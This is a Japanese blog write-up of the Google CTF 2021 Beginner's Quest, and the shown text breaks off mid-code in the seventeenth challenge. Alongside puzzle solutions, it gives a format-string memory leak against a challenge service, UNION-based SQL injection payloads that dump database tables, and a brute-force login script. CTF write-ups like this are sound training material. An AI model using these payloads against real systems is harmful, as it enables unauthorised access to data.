Google CTFの初心者向け版。特に終了予定とかは無く、いつでも解けるらしい。
the beginner's quest is still running so if you want to try your hands on the challenges before reading, please go https://capturetheflag.withgoogle.com/beginners-quest
Beginner's Qeustは今も開催中なので、読む前に自分の手で解きたければ https://capturetheflag.withgoogle.com/beginners-quest へ
と書いても書かなくても、write-upを公開して良いらしいので。
全問題を解こうと思うと大変だけど、クリアを目指すだけなら楽しいと思う。ルート分岐があって全部の問題を解かなくてもクリアできる。ストーリー仕立てで、なぜかボイスまで付いている。
解法はスクロールした先に。
1: CCTV (rev)
パスワードで入るウェブページ。パスワードのチェックはページ内のJavaScript。
<script>
const checkPassword = () => {
const v = document.getElementById("password").value;
const p = Array.from(v).map(a => 0xCafe + a.charCodeAt(0));
if(p[0] === 52037 &&
p[6] === 52081 &&
p[5] === 52063 &&
p[1] === 52077 &&
p[9] === 52077 &&
p[10] === 52080 &&
p[4] === 52046 &&
p[3] === 52066 &&
p[8] === 52085 &&
p[7] === 52081 &&
p[2] === 52077 &&
p[11] === 52066) {
window.location.replace(v + ".html");
} else {
alert("Wrong password!");
}
}
window.addEventListener("DOMContentLoaded", () => {
document.getElementById("go").addEventListener("click", checkPassword);
document.getElementById("password").addEventListener("keydown", e => {
if (e.keyCode === 13) {
checkPassword();
}
});
}, false);
</script>
パスワードの各文字の文字コードに0xCafe(=51966)を足して、ある値になるかをチェックしている。
逆に引いて、文字に変換すれば良い。
p = {};
p[0] = 52037;
p[6] = 52081;
p[5] = 52063;
p[1] = 52077;
p[9] = 52077;
p[10] = 52080;
p[4] = 52046;
p[3] = 52066;
p[8] = 52085;
p[7] = 52081;
p[2] = 52077;
p[11] = 52066;
password = "";
for (var i=0; i<12; i++)
password += String.fromCharCode(p[i]-0xcafe);
console.log(password);
GoodPassword
ログインすると監視カメラの映像とフラグが見られる。
CTF{IJustHopeThisIsNotOnShodan}
2: Logic Lock (misc)
論理回路図を読んで、出力が真になる入力を求める。
逆算すれば、XOR以外は、出力から入力が一意に決まる。XORの入力も他から決まるので問題無し。
CTF{BCFIJ}
3: High Speed Chase (misc)
距離センサーの情報から車の進路を決めるAIを書く。成功すると、他の車をすいすいすり抜けていって楽しい。
まあ、距離センサーの一番遠いところが左にあれば左に、右にあれば右に移動するだけだけど。道路端は距離が0になっているので、特に考慮する必要は無い。
console.log(scanArray)
で出力してみると、センサーの入力はこんな感じになっている。
[0, 0, 0, 0, 22.75, 22.75, 22.75, 9, 9, 9, 8.75, 8.75, 8.75, 0, 0, 0, 0]
[0, 0, 0, 21.75, 21.75, 21.75, 8, 8, 8, 7.75, 7.75, 7.75, 0, 0, 0, 0, 0]
[0, 0, 20.75, 20.75, 20.75, 7, 7, 7, 6.75, 6.75, 6.75, 0, 0, 0, 0, 0, 0]
[0, 0, 19.75, 19.75, 19.75, 6, 6, 6, 5.75, 5.75, 5.75, 0, 0, 0, 0, 0, 0]
[0, 18.75, 18.75, 18.75, 5, 5, 5, 4.75, 4.75, 4.75, 0, 0, 0, 0, 0, 0, 0]
車の幅がセンサー3個分で、その中心に移動しないといけないことに注意。
function controlCar(scanArray) {
var x = 0;
for (var i=1; i<17; i++)
if (scanArray[i]>scanArray[x])
x = i;
x++;
if (x<8)
return -1;
if (x>8)
return 1;
if (x==8)
return 0;
CTF{cbe138a2cd7bd97ab726ebd67e3b7126707f3e7f}
4: Electronics Research Lab (hw)
chal.cとpico.utf2。chal.cをコンパイルするとpico.uf2になって、Rasbery Pi Picoに持っていくと動くのかな。持ってない。
# include <stdbool.h>
# include "hardware/gpio.h"
# include "hardware/structs/sio.h"
# include "pico/stdlib.h"
int main(void)
{
for (int i = 0; i < 8; i++) {
gpio_init(i);
gpio_set_dir(i, GPIO_OUT);
}
gpio_put_all(0);
for (;;) {
gpio_set_mask(67);
gpio_clr_mask(0);
sleep_us(100);
gpio_set_mask(20);
gpio_clr_mask(3);
sleep_us(100);
gpio_set_mask(2);
gpio_clr_mask(16);
sleep_us(100);
:
たぶん、gpio_set_mask
は引数の立っているビットに対応する、GPIOのビットを立てる。gpio_clr_mask
は寝かせるのだろう。
# include <stdio.h>
char c;
void gpio_set_mask(char x) {c |= x;}
void gpio_clr_mask(char x) {c &= ~x;}
void sleep_us(int x){printf("%c", c);}
int main()
{
gpio_set_mask(67);
gpio_clr_mask(0);
sleep_us(100);
gpio_set_mask(20);
gpio_clr_mask(3);
sleep_us(100);
gpio_set_mask(2);
gpio_clr_mask(16);
sleep_us(100);
:
こう書き換えて、
$ gcc chal2.c -o chal2
$ ./chal2
CTF{be65dfa2355e5309808a7720a615bca8c82a13d7}
CTF{be65dfa2355e5309808a7720a615bca8c82a13d7}
5: Twisted robot (misc)
import random
# Gots to get that formatting right when send it to our call center
def formatNumber(n):
n = str(n)
return f'{n[:3]}-{n[3:6]}-{n[6:]}'
# This generates random phone numbers because it's easy to find a lot of people!
# Our number generator is not great so we had to hack it a bit to make sure we can
# reach folks in Philly (area code 215)
def generateRandomNumbers():
arr = []
for i in range(624):
arr.append(formatNumber(random.getrandbits(32) + (1<<31)))
return arr
def encodeSecret(s):
key = [random.getrandbits(8) for i in range(len(s))]
return bytes([a^b for a,b in zip(key,list(s.encode()))])
def menu():
print("""\n\nWelcome to the RoboCaller!! What would you like to do?
1: generate a new list of numbers
2: encrypt a super secret (in beta)
3: decrypt a super secret (coming soon!!)
4: exit""")
choice = ''
while choice not in ['1','2','3']:
choice = input('>')
if choice == '1':
open('robo_numbers_list.txt','w').write('\n'.join(generateRandomNumbers()))
print("...done! list saved under 'robo_numbers_list.txt'")
elif choice == '2':
secret = input('give me your secret and I\'ll save it as "secret.enc"')
open('secret.enc','wb').write(encodeSecret(secret))
elif choice == '3':
print("stay tuned for this awesome feature\n\n")
elif choice == '4':
print("Thank you for using RoboCaller1337!")
return
def main():
while True:
menu()
if __name__ == "__main__":
main()
とrobo_numbers_list.txt、secret.encが与えられる。
メルセンヌツイスタの内部状態の復元。メルセンヌツイスタの内部状態は624個の32ビット変数で数がぴったり。
内部状態がそのまま乱数として出力されるわけではなく、
:
/* Tempering */
y ^= (y >> 11);
y ^= (y << 7) & 0x9d2c5680UL;
y ^= (y << 15) & 0xefc60000UL;
y ^= (y >> 18);
:
という処理があるので、ここだけ逆算。
import random
s = []
for l in open("robo_numbers_list.txt"):
x = int(l.replace("-",""))-(1<<31)
x ^= x>>18
x ^= x<<15 & 0xefc60000 & 0b00111111_11111111_10000000_00000000
x ^= x<<15 & 0xefc60000 & 0b11000000_00000000_00000000_00000000
x ^= x<< 7 & 0x9d2c5680 & 0b00000000_00000000_00111111_10000000
x ^= x<< 7 & 0x9d2c5680 & 0b00000000_00011111_11000000_00000000
x ^= x<< 7 & 0x9d2c5680 & 0b00001111_11100000_00000000_00000000
x ^= x<< 7 & 0x9d2c5680 & 0b11110000_00000000_00000000_00000000
x ^= x>>11 & 0b00000000_00011111_11111100_00000000
x ^= x>>11 & 0b00000000_00000000_00000011_11111111
s += [x]
random.setstate((3, tuple(s+[624]), None))
C = open("secret.enc", "rb").read()
P = bytes([C[i]^random.getrandbits(8) for i in range(len(C))])
print(P.decode())
$ python3 solve.py
CTF{n3v3r_3ver_ev3r_use_r4nd0m}
CTF{n3v3r_3ver_ev3r_use_r4nd0m}
6: To the moon (misc)
これ大変。
I made a super secret encoder. I remember using:
- a weird base, much higher than base64
- a language named after a painter
- a language that is the opposite of good
- a language that looks like a rainbow cat
- a language that is too vulgar to write here
- a language that ended in 'ary' but I don't remember the full name
I also use gzip and zlib (to compress the stuff) and I like hiding things in files...
だそうで。
魦浤魦敥攰攱阴欴渴欴攰昰昰攰攰昰攰昰攰攰魦晥昸阶樴洷渶欶攰攰餴餴攰防攰攰攰洰攰樰昰阱攰樰攰攰攰昰攰攰攰阴昰霱攰樰攰攰攰昰...
文字種がちょうど256種類。その256種類を文字コード順にソートして、各文字を何番目かで置き換えると、何かのフォーマットのようなそうでないような感じになる。そこからさらに上位4ビットと下位4ビットを入れ替えると、JPEGになる。「こんなんよく解けたな……」と我ながら思う。知られたエンコード方法だったりするのだろうか。
C = list(map(ord, open("chall.txt").read()))
T = sorted(list(set(C)))
P = [T.index(c) for c in C]
P = bytes(p>>4|p<<4&0xf0 for p in P)
open("chall2.jpg", "wb").write(P)
chall2.jpg。
これは、a language named after a painter、Piet……と思うが、良く見るとこれはPietの元ネタのPiet Mondrianの作品そのものであって、プログラムではない。
Jpegファイルの作成者が次のような長い文字列。
zaeeaeeuewawaweeeuuwaawuwueeuwaawuwaaawuuuuwuwuuuwaawaawaaaawueueeweeeweaeawuuwawaaaweeeuuweeuwawaaaeeeweeeeewueueewaaaa...
これは、a language that is the opposite of good、Evilのソースコード。特殊なweaveという操作があるので、気が付かないと解けない。
# https://esolangs.org/wiki/Evil
A = 0
S = open("chall3.txt").read()
out = ""
for s in S:
if s=="a":
A = (A+1)%256
if s=="e":
A = (
(A &1)<<2 |
(A>>1&1) |
(A>>2&1)<<4 |
(A>>3&1)<<1 |
(A>>4&1)<<6 |
(A>>5&1)<<3 |
(A>>6&1)<<7 |
(A>>7&1)<<5)
if s=="u":
A = (A-1)%256
if s=="w":
out += chr(A)
if s=="z":
A = 0
open("chall4.txt", "w").write(out)
789ced57695413591a7569c56e9155161d050511150111230a024d9b800328e368435340a28050dd519486180810daa16db2884823d26cc12e141cb1...
これをhex decodeして、zlib展開して、gzip展開するとPPM画像が出てくる。
$ cat chall4.txt | xxd -r -p | zlib-flate -uncompress | gunzip > chall5.ppm
chall5.ppm。
今度こそPiet。https://www.bertnase.de/npiet/npiet-execute.php で実行。警告は出てくるけれど、出力は問題無さそう。
789ce5d9bb11c3300c83e13e5b7a81f4693c7b7630ee807c91fbff288b141fe0fbf3e4bbeed7bb073eb616a121bdb01cd9ecfab48d2d820872e2e056...
Hex decodeしてzlib展開。
$ cat chall6.txt | xxd -r -p | zlib-flate -uncompress > chall7.txt
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
:
a language that looks like a rainbow cat、nya~。~
で0クリアし、n
で1回デクリメントしているので、y
の個数-1を出力すれば良い。この-1を忘れて、次の数字が1個ずれてハマった。
out = ""
for l in open("chall7.txt"):
out += chr(l.count("y")-1)
open("chall8.txt", "w").write(out)
440697918422363183397548356115174111979967632241756381461523275762611555565044345243686920364972358787309560456318193690...
「a language that ended in 'ary' but I don't remember the full name」のUnary(の0の個数)。2進数に変換して、先頭の1を削り、3桁ずつに区切って変換する。
x = int(open("chall8.txt").read())
x = bin(x)[2:]
x = x[1:]
out = ""
for i in range(0, len(x), 3):
out += "><+-.,[]"[int(x[i:i+3], 2)]
open("chall9.txt", "w").write(out)
[-]>[-]<++++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>++++++++++<-]>+++.<+[>---...
A language that is too vulgar to write here、brainf*ck。適当なインタプリタで実行するとフラグが出てくる。
お疲れさまでした。
CTF{pl34s3_n0_m04r}
7: ReadySetAction (crypto)
from Crypto.Util.number import *
flag = b"REDACTED"
p = getPrime(1024)
q = getPrime(1024)
n = p*q
m = bytes_to_long(flag)
c = pow(m,3,n)
print(c)
print(n)
# 15478048932253023588842854432571029804744949209594765981036255304813254166907810390192307350179797882093083784426352342087386691689161026226569013804504365566204100805862352164561719654280948792015789195399733700259059935680481573899984998394415788262265875692091207614378805150701529546742392550951341185298005693491963903543935069284550225309898331197615201102487312122192298599020216776805409980803971858120342903012970709061841713605643921523217733499022158425449427449899738610289476607420350484142468536513735888550288469210058284022654492024363192602734200593501660208945967931790414578623472262181672206606709
# 21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477
配布ファイルに__pycache__ディレクトリも含まれているが、特に使わない。
$e$の小さなRSA暗号。単に$c$の3乗根を求めるだけではダメで、$c'=c+kn$を小さな$k$について総当たり。
c = 15478048932253023588842854432571029804744949209594765981036255304813254166907810390192307350179797882093083784426352342087386691689161026226569013804504365566204100805862352164561719654280948792015789195399733700259059935680481573899984998394415788262265875692091207614378805150701529546742392550951341185298005693491963903543935069284550225309898331197615201102487312122192298599020216776805409980803971858120342903012970709061841713605643921523217733499022158425449427449899738610289476607420350484142468536513735888550288469210058284022654492024363192602734200593501660208945967931790414578623472262181672206606709
n = 21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477
from Crypto.Util.number import *
def root(c):
l = 0
r = c
while l+1<r:
m = (l+r)//2
if m**3<=c:
l = m
else:
r = m
if l**3==c:
return l
else:
return 0
for k in range(99999999):
print(k)
a = root(c+k*n)
if a!=0:
print(long_to_bytes(a))
break
$ python3 solve.py
0
1
2
:
1829
1830
1831
b'CTF{34sy_RS4_1s_e4sy_us3}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
CTF{34sy_RS4_1s_e4sy_us3}
8: Hide and seek (misc)
真っ黒なPNG画像。eDIH
というサイズ1の謎のチャンクが挟まっている。
PNGの構造上、チャンクタイプのすぐ後ろがデータなので、stringsとgrepで取り出せば良いだろう。
$ strings hideandseek.png | grep -oP '(?<=eDIH).' | tr -d '\n'
Q1RGe0RpZFlvdUtub3dQTkdpc1Byb25vdW5jZWRQSU5HP30=
$ strings hideandseek.png | grep -oP '(?<=eDIH).' | tr -d '\n' | base64 -d
CTF{DidYouKnowPNGisPronouncedPING?}
CTF{DidYouKnowPNGisPronouncedPING?}
9: Konski-Hiakawa Law of Droids (reversing)
In this challenge, you have to find the flag using memory forensics. Good luck! Note, surround the flag with CTF{...} to submit it. Note, API Level 25 is what you're looking for.
Androidアプリと動かしたときのメモリダンプ? という感じなのだけれど、gCTF.apkをZIPとして展開すると、なぜかバイトコードなどではなくソースコードが出てくる。ネイティブコードを使って、ファイルに文字列を書き込んだり、インプットフォームに入力された文字列とファイルの内容を比較したりしている。
bzImage.elfを、ファイルに最初に書き込まれるgCTF:KEY:
という文字列で検索し、近くにあるSB:575756
が正解だった。良く分からん。
CTF{SB:575756}
10: Spycam (hardware)
これも大変。
問題ファイルは、20 MiB以上の大きなCSVファイルが7個。中身はこんな感じ。
-0.0018051198211097765,4.25,-0.05,-0.05,-0.18
-0.001805079821043734,4.25,-0.05,-0.08,-0.18
-0.0018050398209776917,4.3,-0.05,-0.08,-0.18
-0.0018049998209116493,4.3,-0.05,-0.08,-0.18
-0.0018049598208456068,4.25,-0.05,-0.08,-0.2
-0.0018049198207795644,4.25,-0.05,-0.05,-0.18
-0.001804879820713522,4.25,-0.05,-0.05,-0.18
-0.0018048398206474796,4.25,-0.05,-0.08,-0.18
:
1番目の列は単調増加、それ以外は周期的。Video Graphics Array。
サンプリングが微妙に1画素ごとのタイミングではないのが厄介。
1.png。
3.png。
7.png。
画像によっては、色の間でずれているし。
重要な7番目だけ補正。
from PIL import Image
for i in range(1, 8):
img = Image.new("RGB", (800, 600), (128, 128, 128))
for l in open(f"{i}.csv"):
t, _, r, g, b = map(float, l[:-1].split(","))
if t>=0:
y = int(t*31469)
x = int((t*31469-y)*800)
if 0<=x<800 and 0<=y<600:
r = min(255, max(0, int((r+0.4)/0.7*256)))
g = min(255, max(0, int((g+0.4)/0.7*256)))
b = min(255, max(0, int((b+0.4)/0.7*256)))
img.putpixel((x, y), (r, g, b))
if i==7:
for y in range(600):
for x in range(800-25):
r, _, b = img.getpixel((x, y))
_, g, _ = img.getpixel((x+25, y))
img.putpixel((x, y), (r, g, b))
img.save(f"{i}.png")
CTF{vlde0_g?aphi?s_4???y}
ではない。Discordで「?
はそこに文字を入れる」とか「V
は大文字」とか言っているのを見つつ、ホワイトボードの文字も見ながらがんばる。色の調整をすればホワイトボードの文字もはっきり見えるかと思ったけど、そもそも元のCSVの浮動小数点数にそんなに精度が無いんだよな……。
これが正解。g
が大文字なのはおかしいだろ。OCRが失敗したということか。
CTF{V1de0_Graphics_4rr4y}
11: pwn-notebook (pwn)
こんな感じ。
$ nc pwn-notebook.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
This is your confidential notebook.
This should get you through the next mission!
Good luck!
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 0
_______________________________________
< Shipping manifest #1337: Thingomabobs >
---------------------------------------
\ /\_/\
\ ( o.o )
> ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 1
________________________________________
< PSA: The forklift is under maintenance >
----------------------------------------
\ /\_/\
\ ( o.o )
> ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 2
_________________________________________
/ Note to staff: Please clean up the mess \
\ in warehouse 42 /
-----------------------------------------
\ /\_/\
\ ( o.o )
> ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 3
_________
< DELETED >
---------
\ /\_/\
\ ( o.o )
> ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
3番目にはあらかじめフラグが読み込まれているものの、各ノートには有効かどうかのフラグがあって、3番目は0にされている。
3番目のあたりを書式文字列攻撃で読む。
:
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 3
Quote: %365$p_%366$p_%367$p_%368$p_%369$p_%370$p_%371$p_%372$p
__________________________________________
/ 0x696d655200000000_0x5443203a7265646e_0x74616d726f667b46_0x5f676e697274735f_0x5f6568745f726f66_% \
\ p_(nil)_0x7fffce781c90 /
------------------------------------------
\ /\_/\
\ ( o.o )
> ^ <
:
> 3
Quote: %370$p_%371$p_%372$p_%373$p
_____________________________
< 0x7d6e6977_(nil)_0x7fffce781c90_(nil) >
-----------------------------
:
適当にスタックのアドレスを読み出して、そこから計算したアドレスも一緒に書き込み、%s
で読み出すとか、フラグを書き換えるという手もあるかもしれない。
$ echo "696d655200000000" | xxd -r -p
imeR
$ echo "5443203a7265646e" | xxd -r -p
TC :redn
$ echo "74616d726f667b46" | xxd -r -p
tamrof{F
$ echo "5f676e697274735f" | xxd -r -p
_gnirts_
$ echo "5f6568745f726f66" | xxd -r -p
_eht_rof
$ echo "7d6e6977" | xxd -r -p
}niw
Reminder: CTF{format_string_for_the_win}
CTF{format_string_for_the_win}
12: Old lock (web)
You're not sure what metal the keypad was made of, but either it was very soft, or whoever punches in the code has waay too much strength in their fingers. This also means you're in luck, since it's pretty obvious which digits are actually used in the 5-digit code. The order is unknown, but there can't be that many possibilities, right? Note: Online brute forcing is allowed in this task.
この問題はブルートフォースOKなので、ブルートフォース。
import requests
import itertools
for p in itertools.permutations("35780"):
p = "".join(p)
r = requests.post("https://old-lock-web.2021.ctfcompetition.com", {"v": p}).text
print(p, r)
87053
がパスコード。
CTF{IThinkWeNeedToReplaceTheKeypad}
13: Noise on the wire (net)
pcapファイル。このような通信をしている。
{"militaryGradeEncryption":false,"codename":"Goon8133","message":"what's the password to the zip file?"}
{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"which zip file?"}
{"militaryGradeEncryption":false,"codename":"Goon8133","message":"well, you know, THE zip file"}
{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"oh, that one... gimme a sec, need to turn on military grade encryption"}
{"militaryGradeEncryption":false,"codename":"Goon8133","message":"ok"}
{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218"}
{"militaryGradeEncryption":true,"codename":"Goon8133","message":"67794d0c452e3467"}
{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"72734044"}
重要なところはミリタリーグレードで暗号化されている。pcapファイルの中からHTMLファイルを取り出して開き、開発者ツールで復号する関数を呼び出して復号。
decryptWithMilitaryGradeEncryption("717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218")
"zip's password is BossToldMeToSetABetterPasswordSoThisWillHaveToDo1234"
decryptWithMilitaryGradeEncryption("67794d0c452e3467")
"lol rly?"
decryptWithMilitaryGradeEncryption("72734044")
"yeah"
ZIPファイルを抜き出して、このパスワードで解凍。
CTF{PleaseAssumeThisIsSomeSecretStuffThankYou}
14: web-quotedb (web)
クエリパラメタid
の数字に応じて、有名人の言葉の引用が出てくる。
5'
だとページが空白。SQLインジェクション。
100 union select 1,2,3--
で、
"2" - 3
カラム数は2。
100 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
"flag,quotes" - 3
テーブルは、quotesとflag。それならカラム名もflagだろう。
100 union select 1,flag, from flag--
"CTF{little_bobby_tables_we_call_him}" - 3
CTF{little_bobby_tables_we_call_him}
15: Just another keypad (rev)
扉に電子ロックが掛かっていて、ワイヤーを取り付けてファームウェアをダンプして解析したら、Free Pascalのソースコードが出てきたらしい。ファームウェアのダンプができるなら、扉の解錠もできるんじゃないのか?
type
DigitType = array[1..16] of SmallInt;
function CheckKeyPadCode(code : DigitType) : Boolean;
var
digit : SmallInt;
i : SmallInt;
x, a, b, c, d : QWord;
begin
x := 0;
i := 0;
For digit In code Do
Begin
If (digit < 0) or (digit > 9) then
begin
CheckKeyPadCode := False;
Exit;
end;
x := x or (QWord(digit) shl i);
i += 4;
End;
x := x xor &1275437152437512431354;
x := RolQWord(x, 10);
a := x and 1229782938247303441;
b := x and &0210421042104210421042;
c := x and RolQWord(1229782938247303441, 2);
d := x and RolQWord(&0210421042104210421042, 2);
if ((a = $0100101000011110) and (b = $2002220020022220) and
(c = $4444040044044400) and (d = QWord($8880008080000880))) then
CheckKeyPadCode := True
else
CheckKeyPadCode := False;
end;
まあ、読めなくはない。$
を前置すると16進数、&
だと8進数になるらしい。
x = 0x0100101000011110 | 0x2002220020022220 | 0x4444040044044400 | 0x8880008080000880
x = (x>>10|x<<54)&0xffffffffffffffff
x ^= 0o1275437152437512431354
print("CTF{"+hex(x)[2:][::-1]+"}")
CTF{3333319552798534}
16: Hash-meee (misc)
I heard BotBot, the resident Discord bot, is experimenting with hashing. He specifically wants to see 2 different strings, both starting with
gctf
, that have the same md5 hash. He will reward this with a flag. You can access our Discord with the following invite link: https://discord.gg/XXXXXXXX To solve this challenge DM BotBot on discord using the command!hashme
followed by the two strings, encoded in hex. E.g. if your strings are "gctfhello" and "gctfhola" you would send!hashme 6763746668656c6c6f 67637466686f6c61
gctf
から始まるMD5が衝突する文字列を作れという問題。ツールがあるだろう。
prefix.txtにgctf
を書いて、
$ scripts/poc_no.sh prefix.txt
rm: cannot remove 'md5diffpath*.cfg': No such file or directory
rm: cannot remove 'md5diffpath*.template': No such file or directory
MD5 differential path toolbox
Copyright (C) 2009 Marc Stevens
http://homepages.cwi.nl/~stevens/
delta_m[2] = [!8!]
In-block prefix words: 1
Parsed path:
Q-3: |01100111 01000101 00100011 00000001|
Q-2: |00010000 00110010 01010100 01110110|
:
23: Q4m4tunnel = 12
24: Q9m9tunnel = 8
25: Q14Q3m14tunnel = 2
.131072 3
135978 4
Block 1: ./data/coll1_3262432147
03 36 dd 50 c1 a8 db a2 46 41 d3 77 51 f2 b0 31
8d db bf bf c7 a9 69 45 02 31 1e 91 6a 9e 80 af
80 d0 88 c3 6a fd 52 84 4b 22 fb 5f 13 66 f2 64
1a a8 29 95 9e e2 27 df a5 a6 d3 18 a0 af e6 b9
Block 2: ./data/coll2_3262432147
03 36 dd 50 c1 a8 db a2 46 42 d3 77 51 f2 b0 31
8d db bf bf c7 a9 69 45 02 31 1e 91 6a 9e 80 af
80 d0 88 c3 6a fd 52 84 4b 22 fb 5f 13 66 f2 64
1a a8 29 95 9e e2 27 df a5 a6 d3 18 a0 af e6 b9
Found collision!
Worker thread: caught exception:ebf02abfb32204ce6d0f9c831ec75da3 collision1.bin
ebf02abfb32204ce6d0f9c831ec75da3 collision2.bin
476309d7d587003b8f9991112fd6c5b3e12be918 collision1.bin
b3eb4654ccd6e82aafe00ee93556ff4a4e9a9ec5 collision2.bin
0 -rwxrwxrwx 1 kusano kusano 128 Sep 3 23:46 collision1.bin
0 -rwxrwxrwx 1 kusano kusano 128 Sep 3 23:46 collision2.bin
CTF{h4sh_m3_tw1c3_1245fd3}
17: Playing golf (misc)
コードゴルフ。
# !/usr/bin/python3
import struct
__all__ = ["encode"]
NUMBERS = [
2, 3, 5, 7, 11, 13, 17, 19, 23, 29,
31, 37, 41, 43, 47, 53, 59, 61, 67, 71,
73, 79, 83, 89, 97, 101, 103, 107, 109, 113,
127, 131, 137, 139, 149, 151, 157, 163, 167, 173,
:
7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,
7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,
7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,
7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919,
]
def make_tlv(type, byte_data):
output = []
output.append(bytes(type, "utf-8")[:4])
output.append(struct.pack(">I", len(byte_data)))
output.append(byte_data)
return b''.join(output)
def step1_encode_as_tlv(input_data_as_byte_stream):
output = []
output.append(make_tlv("BEGN", bytes("abcdefghijklmnopqrstuvwxyz", "utf-8")))
output.append(make_tlv("DATA", input_data_as_byte_stream))
output.append(make_tlv("END.", bytes("ABCDEFGHIJKLMNOPQRSTUVWXYZ", "utf-8")))
return b''.join(output)
def step2_encrypt_data(data_to_encrypt):
output = []
for i in range(len(data_to_encrypt)):
byte_to_encrypt = data_to_encrypt[i]
key_number = NUMBERS[i]
output.append(byte_to_encrypt ^ (key_number & 0xff))
return bytes(bytearray(output))
def encode(input_data_as_byte_stream):
tlv_data = step1_encode_as_tlv(input_data_as_byte_stream)
encrypted_data = step2_encrypt_data(tlv_data)
return encrypted_data
# END
# !/usr/bin/python3
import struct
__all__ = ["decode"]
NUMBERS = [
2, 3, 5, 7, 11, 13, 17, 19, 23, 29,
31, 37, 41, 43, 47, 53, 59, 61, 67, 71,
73, 79, 83, 89, 97, 101, 103, 107, 109, 113,
127, 131, 137, 139, 149, 151, 157, 163, 167, 173,
:
7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,
7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,
7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,
7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919,
]
def read_tlv_block(data, index):
if len(data) - index < 8:
return None
tlv_header = data[index:index + 8]
tlv_type = str(tlv_header[:4], "utf-8")
tlv_length = struct.unpack(">I", tlv_header[4:])[0]
tlv_data = data[index+8:index+8+tlv_length]
return tlv_type, tlv_data
def step1_decode_tlv(input_data_as_byte_stream):
block0 = read_tlv_block(input_data_as_byte_stream, 0)
block1 = read_tlv_block(input_data_as_byte_stream, len(block0[1]) + 8)
block2 = read_tlv_block(input_data_as_byte_stream, len(block0[1]) + len(block1[1]) + 16)
if block0 is None:
raise Exception("TLV block 0 corrupted!")
if block1 is None:
raise Exception("TLV block 1 corrupted!")
if block2 is None:
raise Exception("TLV block 2 corrupted!")
if block0[0] != "BEGN":
raise Exception("BEGN block not found!")
if str(block0[1], "utf-8") != "abcdefghijklmnopqrstuvwxyz":
raise Exception("BEGN block has wrong data")
if block2[0] != "END.":
raise Exception("END. block not found!")
if str(block2[1], "utf-8") != "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
raise Exception("END. block has wrong data")
if block1[0] != "DATA":
raise Exception("DATA block not found!")
return block1[1]
def step2_decrypt_data(data_to_decrypt):
output = []
